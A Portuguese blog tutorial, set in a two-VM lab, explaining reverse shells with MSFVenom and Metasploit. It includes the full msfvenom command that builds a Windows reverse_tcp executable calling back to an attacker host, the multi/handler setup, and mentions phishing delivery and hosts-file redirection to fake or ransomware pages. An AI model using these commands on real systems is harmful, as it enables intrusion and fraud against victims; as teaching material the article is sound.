Skip to the content.

Página Inicial || Próximo || Anterior

Shell Reverso com MSFVenom e Metasploit

Nesse artigo vou falar sobre a técnica de conexão reversa, ou seja, a conexão iniciada a partir da máquina do cliente/vítima para o servidor C2 (C&C - Command and Control). Essa técnica utiliza como vetor os ataques de phishing e engenharia social para induzir a vítima a clicar em um link e fazer o download do script ou executável que será utilizado para iniciar a conexão reversa.

Geralmente em um ambiente controlado, a arquitetura da rede inclui firewall no perímetro e entres as redes LAN, com filtros de segurança como IPS e Antimalware habilitado. O tráfego de entrada é bloqueado com exceção de algumas portas de serviços específicos expostos na internet. O shell reverso nesse cenário consegue fazer o “bypass” do firewall ao estabelecer uma conexão de saída da rede interna usando portas conhecidas como 80 - HTTP, 443 - HTTPS.

A figura abaixo ilustra como ocorre o bypass do firewall. Quando o script com o payload do shell reverso é executado, a máquina da rede interna inicia a conexão com um servidor externo.

topologia de rede

Ambiente de Teste

No ambiente de teste, eu utilizo duas máquinas virtualizadas com VirtualBox. A máquina Kali Linux com IP 192.168.0.17 é o servidor C2 e a máquina Windows 7 com IP 192.168.0.11 é o cliente/vítima.

Gerando o payload com o MSFVenom

A architetura da máquina onde o ataque vai acontecer deve ser levada em consideração quando o payload é criado. A opção -a x64 define o executável compatível com architetura 64bits do Windows 7. Neste sentido, a plataforma é definida com a opção --platform windows

msfvenom -p windows/X64/shell/reverse_tcp -a x64 --platform windows -f exe LHOST=192.168.0.17 LPORT=80 -o /tmp/malicious.exe

msfvenom_command

A máquina Kali recebe a conexão da vítima e para que essa comunicação funcione, é necessário habilitar um “listening” com o multi/handler msf> use multi/handler Feito isso, configure o mesmo payload dentro das opções do handler set payload windows/x64/shell/reverse_tcp O multi/handler é o módulo que permite gerenciar a conexão reversa iniciada pela vítima.

listening

Executando o shell reverso

Ao executar o arquivo malicious.exe na máquina Windows 7, o kali recebe a conexão e o prompt do cmd do windows.

execucao_shell01

execucao shell02

Depois que o terminal estiver disponível, o invasor inicia um ataque interno mais sofisticado. Uma das ações que podem ser executadas é a alteração do arquivo hosts para direcionar o acesso da vítima para um site específico. Em um ataque real, a navegação da vítima é direcionanda para um site falso ou que mostre um alerta do tipo ransomware, exigindo um pagamento pois a máquina está infectada. O FTP é outro meio de transferir arquivos para a máquina da vítima.

O que é MSFVenom ?

De acordo com o site da Offensive Security, o MSFVenom é um framework para criação de payloads, e a partir de 2015 substituiu os módulos msfpayload e msfencode

O MSFVenom fornece uma grande variedade de payloads para Windows, Linux, PHP, java, etc Para visualizar quais payloads estão disponíveis para linux use o seguinte comando:

msfvenom -l payloads | grep linux | more

Use o grep para filtro e o more para a saída paginada.

Diferente do Metasploit, no MSFVenom não é necessário acessar um prompt/interface, o próprio framework inicia o comando para criação do payload como podemos ver no exemplo abaixo.

msfvenom -p windows/X64/shell/reverse_tcp -a x64 --platform windows -f exe LHOST=192.168.0.17 LPORT=80 -o /tmp/malicious.exe

O objetivo desse artigo foi mostrar o ataque de shell reverso de modo simplista. Essa técnica atualmente é utilizada por algumas ferramentas de acesso remoto de forma segura (Ex.:AnyDesk) Nos dias atuais, um ataque de shell reverso requer um estudo e algum conhecimento da infraestrutura para ser executado com sucesso. A variedade de payloads permite a execução desse ataque de forma sofisticada. Redes que garantem sua segurança apenas no firewall estão expostas a esse tipo de invasão.